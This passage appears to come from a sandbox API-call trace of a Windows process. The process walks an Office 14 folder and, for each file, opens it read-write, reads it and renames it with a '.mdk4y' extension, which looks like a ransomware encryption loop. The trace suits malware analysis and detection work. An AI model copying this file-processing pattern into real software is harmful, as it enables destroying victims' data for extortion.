[0190.340] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826557000000) returned 1 [0190.343] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\issue tracking.gta"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\issue tracking.gta.mdk4y")) returned 1 [0190.345] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0190.345] AreFileApisANSI () returned 1 [0190.346] GetACP () returned 0x4e4 [0190.346] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="JADE.CSS", cchWideChar=8, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="JADE.CSSacking.gta", lpUsedDefaultChar=0x37df4c) returned 8 [0190.346] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\JADE.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\jade.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0190.348] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826557800000) returned 1 [0190.348] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd7a, lpOverlapped=0x0) returned 1 [0190.354] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826558400000) returned 1 [0190.354] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826558400000) returned 1 [0190.354] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\JADE.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\jade.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\JADE.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\jade.css.mdk4y")) returned 1 [0190.356] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0190.356] AreFileApisANSI () returned 1 [0190.356] GetACP () returned 0x4e4 [0190.356] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="LGND.VSL", cchWideChar=8, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="LGND.VSL", lpUsedDefaultChar=0x37df4c) returned 8 [0190.356] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\lgnd.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0190.358] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826558800000) returned 1 [0190.358] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x9980, lpOverlapped=0x0) returned 1 [0190.370] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826560000000) returned 1 [0190.370] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826560000000) returned 1 [0190.371] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\lgnd.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\lgnd.vsl.mdk4y")) returned 1 [0190.372] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0190.372] AreFileApisANSI () returned 1 [0190.372] GetACP () returned 0x4e4 [0190.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MAPIR.DLL", cchWideChar=9, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MAPIR.DLLcking.gta", lpUsedDefaultChar=0x37df4c) returned 9 [0190.373] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0190.374] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826560400000) returned 1 [0190.374] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0190.427] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826565700000) returned 1 [0190.427] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826565700000) returned 1 [0190.440] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll.mdk4y")) returned 1 [0190.442] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0190.442] AreFileApisANSI () returned 1 [0190.442] GetACP () returned 0x4e4 [0190.442] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MAPIR.DLL.IDX_DLL", cchWideChar=17, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MAPIR.DLL.IDX_DLLa", lpUsedDefaultChar=0x37df4c) returned 17 [0190.442] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0190.443] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826567300000) returned 1 [0190.444] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1a780, lpOverlapped=0x0) returned 1 [0190.460] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826569000000) returned 1 [0190.460] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826569000000) returned 1 [0190.462] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll.idx_dll.mdk4y")) returned 1 [0190.465] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0190.465] AreFileApisANSI () returned 1 [0190.465] GetACP () returned 0x4e4 [0190.465] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MAPISHELLR.DLL", cchWideChar=14, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MAPISHELLR.DLLDLL", lpUsedDefaultChar=0x37df4c) returned 14 [0190.465] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapishellr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0190.466] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826569600000) returned 1 [0190.466] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x907d8, lpOverlapped=0x0) returned 1 [0190.519] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826574900000) returned 1 [0190.519] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826574900000) returned 1 [0190.525] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapishellr.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapishellr.dll.mdk4y")) returned 1 [0190.528] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0190.528] AreFileApisANSI () returned 1 [0190.528] GetACP () returned 0x4e4 [0190.528] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MERES.DLL", cchWideChar=9, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MERES.DLLR.DLL", lpUsedDefaultChar=0x37df4c) returned 9 [0190.528] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\meres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0190.529] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826575900000) returned 1 [0190.529] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0190.617] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826584700000) returned 1 [0190.617] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826584700000) returned 1 [0190.630] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\meres.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\meres.dll.mdk4y")) returned 1 [0190.632] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0190.632] AreFileApisANSI () returned 1 [0190.632] GetACP () returned 0x4e4 [0190.632] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MOR6INT.DLL", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MOR6INT.DLLDLL", lpUsedDefaultChar=0x37df4c) returned 11 [0190.632] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0190.634] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826586400000) returned 1 [0190.634] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6cf68, lpOverlapped=0x0) returned 1 [0190.700] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826593000000) returned 1 [0190.700] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826593000000) returned 1 [0190.710] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.dll.mdk4y")) returned 1 [0190.715] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0190.715] AreFileApisANSI () returned 1 [0190.715] GetACP () returned 0x4e4 [0190.715] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MOR6INT.REST.IDX_DLL", cchWideChar=20, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MOR6INT.REST.IDX_DLL.HXK", lpUsedDefaultChar=0x37df4c) returned 20 [0190.715] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0190.716] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826594600000) returned 1 [0190.716] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x9b80, lpOverlapped=0x0) returned 1 [0190.727] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826595700000) returned 1 [0190.727] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826595700000) returned 1 [0190.727] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.rest.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.rest.idx_dll.mdk4y")) returned 1 [0190.728] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0190.728] AreFileApisANSI () returned 1 [0190.728] GetACP () returned 0x4e4 [0190.728] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MOVE.VRD", cchWideChar=8, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MOVE.VRDREST.IDX_DLL", lpUsedDefaultChar=0x37df4c) returned 8 [0190.729] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\move.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0190.730] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826596000000) returned 1 [0190.730] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x58c, lpOverlapped=0x0) returned 1 [0190.746] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826597600000) returned 1 [0190.746] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826597600000) returned 1 [0190.746] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\move.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\move.vrd.mdk4y")) returned 1 [0190.747] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0190.747] AreFileApisANSI () returned 1 [0190.747] GetACP () returned 0x4e4 [0190.747] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MPXRES.DLL", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MPXRES.DLLST.IDX_DLL", lpUsedDefaultChar=0x37df4c) returned 10 [0190.747] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mpxres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0190.748] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826597800000) returned 1 [0190.748] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3178, lpOverlapped=0x0) returned 1 [0190.749] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826597900000) returned 1 [0190.750] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826597900000) returned 1 [0190.750] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mpxres.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mpxres.dll.mdk4y")) returned 1 [0190.751] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0190.751] AreFileApisANSI () returned 1 [0190.751] GetACP () returned 0x4e4 [0190.751] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSACCESS.DEV.HXS", cchWideChar=16, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSACCESS.DEV.HXS_DLL", lpUsedDefaultChar=0x37df4c) returned 16 [0190.751] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0190.751] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826598100000) returned 1 [0190.751] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0190.819] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826604900000) returned 1 [0190.819] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826604900000) returned 1 [0190.863] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev.hxs.mdk4y")) returned 1 [0190.864] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0190.864] AreFileApisANSI () returned 1 [0190.864] GetACP () returned 0x4e4 [0190.865] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSACCESS.DEV_COL.HXC", cchWideChar=20, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSACCESS.DEV_COL.HXC", lpUsedDefaultChar=0x37df4c) returned 20 [0190.865] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0190.865] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826609500000) returned 1 [0190.865] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x290, lpOverlapped=0x0) returned 1 [0190.876] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826610600000) returned 1 [0190.876] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826610600000) returned 1 [0190.876] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxc.mdk4y")) returned 1 [0190.877] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0190.877] AreFileApisANSI () returned 1 [0190.877] GetACP () returned 0x4e4 [0190.877] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSACCESS.DEV_COL.HXT", cchWideChar=20, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSACCESS.DEV_COL.HXT", lpUsedDefaultChar=0x37df4c) returned 20 [0190.877] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0190.878] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826610800000) returned 1 [0190.878] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd4, lpOverlapped=0x0) returned 1 [0190.878] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826610800000) returned 1 [0190.878] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826610800000) returned 1 [0190.879] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxt.mdk4y")) returned 1 [0190.879] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0190.879] AreFileApisANSI () returned 1 [0190.879] GetACP () returned 0x4e4 [0190.879] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSACCESS.DEV_F_COL.HXK", cchWideChar=22, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSACCESS.DEV_F_COL.HXKXK", lpUsedDefaultChar=0x37df4c) returned 22 [0190.880] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0190.880] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826611000000) returned 1 [0190.880] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x72, lpOverlapped=0x0) returned 1 [0190.881] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826611100000) returned 1 [0190.881] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826611100000) returned 1 [0190.881] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_f_col.hxk.mdk4y")) returned 1 [0190.882] FindNextFileW (in: hFindFile=0x6ab310, 